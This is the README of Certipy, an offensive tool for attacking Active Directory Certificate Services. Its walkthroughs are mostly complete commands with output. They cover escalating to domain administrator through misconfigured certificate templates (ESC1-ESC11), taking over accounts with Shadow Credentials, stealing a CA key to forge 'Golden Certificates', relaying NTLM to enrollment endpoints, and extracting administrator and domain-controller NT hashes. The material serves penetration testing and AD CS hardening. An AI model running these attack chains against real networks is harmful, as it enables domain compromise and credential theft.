Awesome
Certipy
Certipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS). If you're not familiar with AD CS and the various domain escalation techniques, I highly recommend reading Certified Pre-Owned by Will Schroeder and Lee Christensen.
Table of Contents
Installation
pip3 install certipy-ad
Usage
A lot of the usage and features are demonstrated in the blog posts for the release of Certipy 2.0 and 4.0.
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...
Active Directory Certificate Services enumeration and abuse
positional arguments:
{account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template}
Action
account Manage user and machine accounts
auth Authenticate using certificates
ca Manage CA and certificates
cert Manage certificates and private keys
find Enumerate AD CS
forge Create Golden Certificates
ptt Inject TGT for SSPI authentication
relay NTLM Relay to AD CS HTTP Endpoints
req Request certificates
shadow Abuse Shadow Credentials for account takeover
template Manage certificate templates
optional arguments:
-v, --version Show Certipy's version number and exit
-h, --help Show this help message and exit
Find
The find command is useful for enumerating AD CS certificate templates, certificate authorities and other configurations.
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy find [-h] [-debug] [-bloodhound] [-old-bloodhound] [-text] [-stdout] [-json] [-output prefix] [-enabled] [-dc-only] [-vulnerable] [-hide-admins] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp]
[-timeout seconds] [-u username@domain] [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]
optional arguments:
-h, --help show this help message and exit
-debug Turn debug output on
output options:
-bloodhound Output result as BloodHound data for the custom-built BloodHound version from @ly4k with PKI support
-old-bloodhound Output result as BloodHound data for the original BloodHound version from @BloodHoundAD without PKI support
-text Output result as text
-stdout Output result as text to stdout
-json Output result as JSON
-output prefix Filename prefix for writing results to
find options:
-enabled Show only enabled certificate templates. Does not affect BloodHound output
-dc-only Collects data only from the domain controller. Will not try to retrieve CA security/configuration or check for Web Enrollment
-vulnerable Show only vulnerable certificate templates based on nested group memberships. Does not affect BloodHound output
-hide-admins Don't show administrator permissions for -text, -stdout, and -json. Does not affect BloodHound output
connection options:
-scheme ldap scheme
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-target dns/ip address
DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
authentication options:
-u username@domain, -username username@domain
Username. Format: username@domain
-p password, -password password
Password
-hashes [LMHASH:]NTHASH
NTLM hash, format is [LMHASH:]NTHASH
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-sspi Use Windows Integrated Authentication (SSPI)
-aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-no-pass Don't ask for password (useful for -k and -sspi)
The output can come in various formats. By default, Certipy will output the enumeration results as text, JSON, and BloodHound data.
$ certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 45 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 23 enabled certificate templates
[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA
[*] Got CA configuration for 'CORP-DC-CA'
[*] Saved BloodHound data to '20220802164803_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20220802164803_Certipy.txt'
[*] Saved JSON output to '20220802164803_Certipy.json'
To only output BloodHound data, you can specify the -bloodhound parameter.
$ certipy find -u john@corp.local -p Passw0rd -bloodhound -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 45 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 23 enabled certificate templates
[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA
[*] Got CA configuration for 'CORP-DC-CA'
[*] Saved BloodHound data to '20220802164835_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
The BloodHound data is saved as a ZIP-file that can be imported into my forked version of BloodHound with PKI support.
If you want BloodHound data output that is compatible with the original version of BloodHound, you can pass the -old-bloodhound parameter. Please note that Certipy uses BloodHound's new format, introduced in version 4, but that PKI integration is only supported in the forked version.
Custom Certipy queries for BloodHound can be found in customqueries.json. These will not be necessary for the forked version.
On Linux, custom BloodHound queries can be added in ~/.config/bloodhound/customqueries.json, and for Windows in C:\Users\[USERNAME]\AppData\Roaming\BloodHound\customqueries.json
Request
The req command is useful for requesting, retrieving, and renewing certificates.
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy req [-h] [-debug] -ca certificate authority name [-template template name] [-upn alternative UPN] [-dns alternative DNS] [-subject subject] [-retrieve request ID] [-on-behalf-of domain\account] [-pfx pfx/p12 file name] [-key-size RSA key length] [-archive-key]
[-renew] [-out output file name] [-web] [-dynamic-endpoint] [-scheme http scheme] [-port PORT] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain] [-p password]
[-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]
optional arguments:
-h, --help show this help message and exit
-debug Turn debug output on
-ca certificate authority name
certificate request options:
-template template name
-upn alternative UPN
-dns alternative DNS
-subject subject Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL
-retrieve request ID Retrieve an issued certificate specified by a request ID instead of requesting a new certificate
-on-behalf-of domain\account
Use a Certificate Request Agent certificate to request on behalf of another user
-pfx pfx/p12 file name
Path to PFX for -on-behalf-of or -renew
-key-size RSA key length
Length of RSA key. Default: 2048
-archive-key Send private key for Key Archival
-renew Create renewal request
output options:
-out output file name
connection options:
-web Use Web Enrollment instead of RPC
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-target dns/ip address
DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
rpc connection options:
-dynamic-endpoint Prefer dynamic TCP endpoint over named pipe
http connection options:
-scheme http scheme
-port PORT Web Enrollment port. If omitted, port 80 or 443 will be chosen by default depending on the scheme.
authentication options:
-u username@domain, -username username@domain
Username. Format: username@domain
-p password, -password password
Password
-hashes [LMHASH:]NTHASH
NTLM hash, format is [LMHASH:]NTHASH
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-sspi Use Windows Integrated Authentication (SSPI)
-aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-no-pass Don't ask for password (useful for -k and -sspi)
To request a certificate, you must specify the name and host/IP of a Certificate Authority (CA) for enrollment. By default, this will use the provided credentials to enroll in the default User template.
In this example, we request a certificate from the CA corp-CA based on the template User.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 773
[*] Got certificate with UPN 'JOHN@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103'
[*] Saved certificate and private key to 'john.pfx'
If the request succeeds, the certificate and private key will be saved as a PFX file. The PFX file can then be used for various purposes depending on the certificate's usage.
If you're in a domain context on a Windows machine, but you don't know the credentials of the current user, you can use the -sspi parameter, which will make Certipy use Windows APIs for retrieving the proper Kerberos tickets using your current context.
Authenticate
The auth command will use either the PKINIT Kerberos extension or Schannel protocol for authentication with the provided certificate. Kerberos can be used to retrieve a TGT and the NT hash for the target user, whereas Schannel will open a connection to LDAPS and drop into an interactive shell with limited LDAP commands. See the blog posts for more information on when to use which option.
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy auth [-h] -pfx pfx/p12 file name [-no-save] [-no-hash] [-ptt] [-print] [-kirbi] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain] [-ldap-shell] [-ldap-port port] [-ldap-user-dn dn]
optional arguments:
-h, --help show this help message and exit
-pfx pfx/p12 file name
Path to certificate
-no-save Don't save TGT to file
-no-hash Don't request NT hash
-ptt Submit TGT for current logon session (Windows only)
-print Print TGT in Kirbi format
-kirbi Save TGT in Kirbi format
-debug Turn debug output on
connection options:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
authentication options:
-username username
-domain domain
-ldap-shell Authenticate with the certificate via Schannel against LDAP
ldap options:
-ldap-port port LDAP port. Default: 389
-ldap-user-dn dn Distinguished Name of target account for LDAPS authentication
By default, Certipy will try to extract the username and domain from the certificate (-pfx) for authentication via Kerberos.
$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
The NT hash and the credential cache (TGT) can be used for further authentication with other tools. If you're in a domain context on a Windows machine, you can use -ptt to inject the TGT into your current session.
If the example above doesn't work in your case, you can specify the required parameters manually, such as the KDC IP, username, and domain. This can sometimes happen if the certificate doesn't contain information about the user (such as Shadow Credentials) or if the domain name cannot be resolved via DNS.
$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
Shadow Credentials
The shadow command is useful for taking over an account when you can write to the msDS-KeyCredentialLink attribute of the account. Read more about Shadow Credentials here.
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy shadow [-h] [-account target account] [-device-id DEVICE_ID] [-debug] [-out output file name] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain]
[-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]
{list,add,remove,clear,info,auto}
positional arguments:
{list,add,remove,clear,info,auto}
Key Credentials action
optional arguments:
-h, --help show this help message and exit
-account target account
Account to target. If omitted, the user specified in the target will be used
-device-id DEVICE_ID Device ID of the Key Credential Link
-debug Turn debug output on
output options:
-out output file name
connection options:
-scheme ldap scheme
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-target dns/ip address
DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
authentication options:
-u username@domain, -username username@domain
Username. Format: username@domain
-p password, -password password
Password
-hashes [LMHASH:]NTHASH
NTLM hash, format is [LMHASH:]NTHASH
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-sspi Use Windows Integrated Authentication (SSPI)
-aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-no-pass Don't ask for password (useful for -k and -sspi)
In short, the Shadow Credentials attack is performed by adding a new "Key Credential" to the target account. The Key Credential can then be used with the PKINIT Kerberos extension for authentication.
Certipy's shadow command has an auto action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.
$ certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'Jane'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '00f38738-288e-4c85-479a-a6313ab46fe6'
[*] Adding Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane'
[*] Successfully added Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane'
[*] Authenticating as 'Jane' with the certificate
[*] Using principal: jane@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'jane.ccache'
[*] Trying to retrieve NT hash for 'jane'
[*] Restoring the old Key Credentials for 'Jane'
[*] Successfully restored the old Key Credentials for 'Jane'
[*] NT hash for 'Jane': a87f3a337d73085c45f9416be5787d86
This action is useful if you just want the NT hash or TGT for further authentication. It is possibly to manually add, authenticate, and delete the Key Credential, if desired. See the usage or blog post for more information.
Golden Certificates
Golden Certificates are certificates that are manually forged with a compromised CA's certificate and private key, just like Golden Tickets are forged with a compromised krbtgt account's NT hash.
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy forge [-h] -ca-pfx pfx/p12 file name [-upn alternative UPN] [-dns alternative DNS] [-template pfx/p12 file name] [-subject subject] [-issuer issuer] [-crl ldap path] [-serial serial number] [-key-size RSA key length] [-debug] [-out output file name]
optional arguments:
-h, --help show this help message and exit
-ca-pfx pfx/p12 file name
Path to CA certificate
-upn alternative UPN
-dns alternative DNS
-template pfx/p12 file name
Path to template certificate
-subject subject Subject to include certificate
-issuer issuer Issuer to include certificate. If not specified, the issuer from the CA cert will be used
-crl ldap path ldap path to a CRL
-serial serial number
-key-size RSA key length
Length of RSA key. Default: 2048
-debug Turn debug output on
output options:
-out output file name
In order to forge a certificate, we need the CA's certificate and private key.
Certipy can automatically retrieve the certificate and private key with the -backup parameter. In order to do so, the user must have administrative privileges on the CA server.
$ certipy ca -backup -ca 'corp-DC-CA' -username administrator@corp.local -hashes fc525c9683e8fe067095ba2ddc971889
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'CORP-DC-CA.pfx'
[*] Cleaning up
With the CA's certificate and private key, we can for instance forge a certificate for the domain controller DC$:
$ certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx'
$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
The forged certificate can then be used for authentication with Certipy's auth command. If the KDC returns KDC_ERR_CLIENT_NOT_TRUSTED, it means that the forging was not correct. This usually happens because of a missing certificate revocation list (CRL) in the certificate. You can either specify the CRL manually with -crl, or you can use a previously issued certificate as a template with the -template parameter. Please note that the template will include all non-defined extensions and attributes in the new certificate, such as the subject and serial number. Certipy will not include any extended key usage in the forged certificate, which means the certificate can be used for any purpose.
Certificates
The cert command is useful for working with PFX's from other tools, such as Certify or KrbRelay, which creates encrypted PFXs.
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy cert [-h] [-pfx infile] [-password password] [-key infile] [-cert infile] [-export] [-out outfile] [-nocert] [-nokey] [-debug]
optional arguments:
-h, --help show this help message and exit
-pfx infile Load PFX from file
-password password Set import password
-key infile Load private key from file
-cert infile Load certificate from file
-export Output PFX file
-out outfile Output filename
-nocert Don't output certificate
-nokey Don't output private key
-debug Turn debug output on
Certipy's commands do not support PFXs with passwords. In order to use an encrypted PFX with Certipy, we can recreate the PFX without the password:
$ certipy cert -pfx encrypted.pfx -password "a387a1a1-5276-4488-9877-4e90da7567a4" -export -out decrypted.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'decrypted.pfx'
The decrypted.pfx file can then be used with Certipy's commands.
It is also possible to use the cert command to extract the private key and certificate from a PFX file by leaving out the -export parameter:
$ certipy cert -pfx john.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)
-----BEGIN CERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----END PRIVATE KEY-----
If you only want the certificate or the private key, you can specify -nokey or -nocert, respectively.
$ certipy cert -pfx john.pfx -nokey
Certipy v4.0.0 - by Oliver Lyak (ly4k)
-----BEGIN CERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----END CERTIFICATE-----
$ certipy cert -pfx john.pfx -nocert
Certipy v4.0.0 - by Oliver Lyak (ly4k)
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----END PRIVATE KEY-----
Domain Escalation
The following sections describe how to abuse various misconfigurations for domain escalations with Certipy. Certipy supports ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, and ESC8. All escalation techniques are described in depth in Certified Pre-Owned and practical examples can be found in my blog post on the Certipy 2.0 release. Furthermore, ESC9 and ESC10 can be abused as well, but is not directly related to specific features of Certipy.
ESC1
ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).
For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the -upn and -dns parameter, respectively.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780
[*] Got certificate with multiple identifications
UPN: 'administrator@corp.local'
DNS Host Name: 'dc.corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc.pfx'
It is also possible to specify only a UPN or a DNS. In the case where both a UPN and DNS are specified, the auth command will ask you which identity to authenticate as.
$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'administrator@corp.local'
[1] DNS Host Name: 'dc.corp.local'
> 1
[*] Using principal: dc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0
ESC2
ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates. See below.
ESC3
ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users.
First, we must request a certificate based on the vulnerable certificate template ESC3.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC3-Test
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 781
[*] Got certificate with UPN 'JOHN@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103'
[*] Saved certificate and private key to 'john.pfx'
We can then use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user by specifying the -on-behalf-of. The -on-behalf-of parameter value must be in the form of domain\user, and not the FQDN of the domain, i.e. corp rather than corp.local.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -on-behalf-of 'corp\Administrator' -pfx john.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 782
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
And finally, we can use the new certificate to authenticate as corp\Administrator.
$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
ESC4
ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.
By default, Certipy will overwrite the configuration to make it vulnerable to ESC1.
We can specify the -save-old parameter to save the old configuration, which is useful for restoring the configuration afterwards.
$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'ESC4-Test' to 'ESC4-Test.json'
[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'
The certificate template is now vulnerable to the ESC1 technique.
Therefore, we can now request a certificate based on the ESC4 template and specify an arbitrary SAN with the -upn or -dns parameter.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 783
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
If you want to restore the old configuration, you can specify the path to the saved configuration with the -configuration parameter.
$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'
ESC6
ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template's configuration. After the patch for my reported vulnerability CVE-2022–26923, this technique no longer works alone, but must be combined with ESC10.
The attack is the same as ESC1, except that you can choose any certificate template that permits client authentication. After the May 2022 security updates, new certificates will have a securiy extension that embeds the requester's objectSid property. For ESC1, this property will be reflected from the SAN specified, but with ESC6, this property reflects the requester's objectSid, and not from the SAN. Notice that the objectSid changes depending on the requester in the following example.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 2
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-1103'
[*] Saved certificate and private key to 'administrator.pfx'
$ certipy req -username administrator@corp.local -password Passw0rd! -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-500'
[*] Saved certificate and private key to 'administrator.pfx'
This would not happen if the certificate was vulnerable to ESC1. As such, to abuse ESC6, the environment must be vulnerable to ESC10 (Weak Certificate Mappings), where the SAN is preferred over the new security extension.
ESC7
ESC7 is when a user has the Manage CA or Manage Certificates access right on a CA. There are no public techniques that can abuse the Manage Certificates access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.
The "Certified Pre-Owned" whitepaper mentions that this access right can be used to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag to perform the ESC6 attack, but this will not have any effect until the CA service (CertSvc) is restarted. When a user has the Manage CA access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates.
Instead, I've found another technique that doesn't require any service restarts or configuration changes.
Prerequisites
In order for this technique to work, the user must also have the Manage Certificates access right, and the certificate template SubCA must be enabled. With the Manage CA access right, we can fulfill these prerequisites.
The technique relies on the fact that users with the Manage CA and Manage Certificates access right can issue failed certificate requests. The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the SubCA - which will be denied - but then issued by the manager afterwards.
If you only have the Manage CA access right, you can grant yourself the Manage Certificates access right by adding your user as a new officer.
$ certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
The SubCA template can be enabled on the CA with the -enable-template parameter. By default, the SubCA template is enabled.
$ certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
Attack
If we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on the SubCA template.
This request will be denied, but we will save the private key and note down the request ID.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
With our Manage CA and Manage Certificates, we can then issue the failed certificate request with the ca command and the -issue-request <request ID> parameter.
$ certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
And finally, we can retrieve the issued certificate with the req command and the -retrieve <request ID> parameter.
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
ESC8
ESC8 is when an Enrollment Service has installed and enabled Web Enrollment via HTTP.
To start the relay server, we can run the relay command and specify the CA's IP in -target http://<ip>.
By default, Certipy will request a certificate based on the Machine or User template depending on whether the relayed account name ends with $. It is possible to specify another template with the -template parameter.
We can then use a tool such as Coercer to coerce authentication. For domain controllers, we must specify -template DomainController.
$ certipy relay -target 'http://ca.corp.local'
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
ESC9 & ESC10
ESC9 and ESC10 is not related to any specific Certipy commands or parameters, but can be abused with Certipy. See the blog post for more information.
ESC11
ESC11 is when the certificate authority is not configured with IF_ENFORCEENCRYPTICERTREQUEST. This makes the RPC service vulnerable to NTLM relay attacks without signing, such as via SMB. The attack is similar to ESC8, except that we're targeting the RPC protocol instead of the HTTP protocol.
To start the relay server, we can run the relay command and specify the CA's IP in -target rpc://<ip>. We must also specify the name of the certificate authority in -ca <name>.
By default, Certipy will request a certificate based on the Machine or User template depending on whether the relayed account name ends with $. It is possible to specify another template with the -template parameter.
We can then use a tool such as Coercer to coerce authentication. For domain controllers, we must specify -template DomainController.
$ certipy relay -target 'rpc://ca.corp.local' -ca 'corp-ca'
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://ca.corp.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:ca.corp.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@CORP'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 1
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
Contact
Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter @ly4k_.
Credits
- Will Schroeder and Lee Christensen for Certified Pre-Owned and Certify
- Dirk-jan for PKINITtools
- ShutdownRepo for PyWhisker
- zer1t0 for certi
- Ex Android Dev and Tw1sm for Impacket's adcsattack.py
- SecureAuthCorp and all the contributors for Impacket
- skelsec for pypykatz